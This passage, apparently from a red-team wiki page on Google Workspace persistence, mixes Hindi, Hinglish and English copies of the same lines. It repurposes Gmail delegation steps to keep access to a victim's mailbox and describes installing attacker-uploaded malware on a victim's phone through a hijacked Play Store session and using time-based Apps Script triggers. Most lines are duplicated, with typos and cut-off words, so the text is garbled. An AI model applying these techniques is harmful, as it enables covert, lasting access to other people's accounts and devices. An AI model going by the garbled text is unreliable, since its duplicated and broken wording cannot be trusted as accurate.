Delegation चालू करने के बाद, आपके users अपने Gmail settings में जाकर delegates assign करते हैं। फिर delegates user की ओर से messages पढ़, भेज और receive कर सकते हैं।
विवरण के लिए, उपयोगकर्ताओं को [ईमेल पर प्रतिनिधित्व और सहयोग](https://support.google.com/a/users/answer/138350) पर निर्देशित करें।
विवरण के लिए, users को [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350) पर भेजें।
</details>
<details>
<summary>एक नियमित उपयोगकर्ता से, यहाँ अपने एक्सेस को प्रतिनिधित्व करने के लिए निर्देश देखें</summary>
<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
(जानकारी [**दस्तावेज़ों से कॉपी की गई**](https://support.google.com/mail/answer/138350))
(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
आप अधिकतम 10 प्रतिनिधि जोड़ सकते हैं।
आप 10 delegates तक जोड़ सकते हैं।
यदि आप अपने कार्य, स्कूल या अन्य संगठन के माध्यम से Gmail का उपयोग कर रहे हैं:
अगर आप work, school, या किसी other organization के through Gmail use कर रहे हैं:
- आप अपने संगठन के भीतर अधिकतम 1000 प्रतिनिधि जोड़ सकते हैं।
- सामान्य उपयोग के साथ, 40 प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं।
- यदि आप स्वचालित प्रक्रियाओं का उपयोग करते हैं, जैसे API या ब्राउज़र एक्सटेंशन, तो कुछ प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं।
- आप अपनी organization के अंदर 1000 delegates तक जोड़ सकते हैं।
- आम उपयोग में, 40 delegates एक Gmail account को एक ही समय पर access कर सकते हैं।
- अगर आप automated processes, जैसे APIs या browser extensions, use करते हैं, तो कुछ delegates एक ही समय पर Gmail account access कर सकते हैं।
1. अपने कंप्यूटर पर, [Gmail](https://mail.google.com/) खोलें। आप Gmail ऐप से प्रतिनिधि नहीं जोड़ सकते।
2. शीर्ष दाएँ कोने में, सेटिंग्स पर क्लिक करें ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![और फिर](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **सभी सेटिंग्स देखें**
3. **खाते और आयात** या **खाते** टैब पर क्लिक करें।
4. "अपने खाते तक पहुँच देने के लिए" अनुभाग में, **एक और खाता जोड़ें** पर क्लिक करें। यदि आप अपने कार्य या स्कूल के माध्यम से Gmail का उपयोग कर रहे हैं, तो आपके संगठन द्वारा ईमेल प्रतिनिधित्व को प्रतिबंधित किया जा सकत है। यदि आप इस सेटिंग को नहीं दखते हैं, तो अपने व्यवस्थापक से संपर्क करें।
- यदि आप अपने खाते तक पहुँच देने के लिए विकल्प नहीं दखते हैं, तो यह प्रतिबंधित है।
5. स व्यक्ति का ईमेल पता दर्ज करें जिसे आप जोड़ना चाहते हैं। यदि आप अपने कार्य, स्कूल या अन्य संगठन के माध्यम से Gmail का उपयोग कर रहे हैं, और आपके व्यवस्थापक इसकी अनुमति देत है, तो आप एक समूह का ईमेल पता दर्ज कर सकते हैं। इस समूह का डोमेन आपके संगठन के समान होना चाहिए। समूह के बाहरी सदस्यों को प्रतिनिधित्व पहुँच से वंचित किया जाता है।\
1. अपने computer पर [Gmail](https://mail.google.com/) खोलें। आप Gmail app से delegates नहीं जोड़ सकते।
2. ऊपर दाईं ओर, Settings ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![and then](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **See all settings** पर क्लिक करें
3. **Accounts and Import** या **Accounts** tab पर क्लिक करें।
4. "Grant access to your account" section में, **Add another account** पर क्लिक करें। अगर आप work या school के through Gmail use कर रहे हैं, तो आपकी organization email delegation restrict कर सकत है। अगर आपको यह setting नहीं दिखत, तो अपने admin से संपर्क करें।
- अगर आपको Grant access to your account नहीं दिखत, तो यह restricted है।
5. जिस व्यक्ति को आप add करना चाहते हैं उसका email address दर्ज करें। अगर आप work, school, या किसी other organization के through Gmail use कर रहे हैं, और आपका admin अनुमति देत है, तो आप किसी group का email address दर्ज कर सकते हैं। इस group का domain आपकी organization के domain जैसा ही होना चाहिए। group के external members को delegation access denied होगा।\
\
**महत्वपूर्ण:** यदि आप जिस खाते को प्रतिनिधित्व कर रहे हैं वह एक नया खाता है या पासवर्ड रीसेट किया गया है, तो व्यवस्थापक को पहले साइन इन करते समय पासवर्ड बदलने की आवश्यकता को बंद करन होग
**Important:** अगर जिस account को आप delegate कर रहे हैं वह नया account है या उसका password reset हुआ है, तो Admin को first sign in पर password change करने की requirement बंद करन होग
- [जानें कि एक व्यवस्थापक उपयोगकर्ता कैसे बना सकता है](https://support.google.com/a/answer/33310)
- [जानें कि एक व्यवस्थापक पासवर्ड कैसे रीसेट कर सकता है](https://support.google.com/a/answer/33319)
- [जानें कि Admin user कैसे create कर सकता है](https://support.google.com/a/answer/33310).
- [जानें कि Admin passwords कैसे reset कर सकता है](https://support.google.com/a/answer/33319).
6. **अगला चरण** पर क्लिक करें ![और फिर](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **पहुँच देने के लिए ईमेल भेजें**
6\. **Next Step** ![and then](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **Send email to grant access** पर क्लिक करें
आपजिस व्यक्ति को जोड़ा है, उसे पुष्टि करने के लिए एक ईमेल प्राप्त होगा। निमंत्रण एक सप्ताह के बाद समाप्त हो जाएगा
आपद्वारा जोड़े गए व्यक्ति को confirm करने के लिए एक email मिलेगा। invitation एक week बाद expire हो जाती है
यदि आपने एक समूह जोड़ा है, तो सभी समूह के सदस्य बिना पुष्टि किए प्रतिनिधि बन जाएंगे।
अगर आपने कोई group जोड़ा है, तो सभी group members बिना confirm किए delegates बन जाएंगे।
नोट: प्रतिनिधित्व प्रभावी होने में 24 घंटे तक का समय लग सकत है।
Note: delegation का प्रभाव दिखने में 24 hours तक लग सकत है
</details>
## Android ऐप के माध्यम से स्थिरता
## Persistence via Android App
यदि आपके पास **पीड़ित के Google खाते के भीतर एक सत्र** है, तो आप **Play Store** पर जा सकते हैं और संभवतः **मैलवेयर स्थापित कर सकते हैं** जिसे आपने पहले से स्टोर में अपलोड किया है सीधे **फोन पर** स्थिरता बनाए रखने और पीड़ित के फोन तक पहुँचने के लिए
अगर आपके पास victims google account के अंदर **session** है, तो आप **Play Store** ब्राउज़ कर सकते हैं और सीधे phone पर persistence बनाए रखने और victim के phone तक access करने के लिए आपने पहले से store पर upload किया हुआ **malware install** करने में सक्षम हो सकते हैं
## **ऐप स्क्रिप्ट के माध्यम से स्थिरता**
## **Persistence via** App Scripts
आप ऐप स्क्रिप्ट में **समय-आधारित ट्रिगर्स** बना सकते हैं, इसलिए यदि ऐप स्क्रिप्ट उपयोगकर्ता द्वारा स्वीकार क जात है, तो यह **ट्रिगर** होगी भले ही **उपयोगकर्ता इसे एक्सेस न करे**। इसे कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें:
आप App Scripts में **time-based triggers** बना सकते हैं, इसलिए अगर user द्वारा App Script स्वीकार कर लिया जात है, तो यह user के उसे access किए बिना भी **trigger** हो जाएगा। यह कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
gws-google-platforms-phishing/gws-app-scripts.md
{{#endref}}
## संदर्भ
## References
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch और Beau Bullock - OK Google, How do I Red Team GSuite?
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
{{#include ../../banners/hacktricks-training.md}}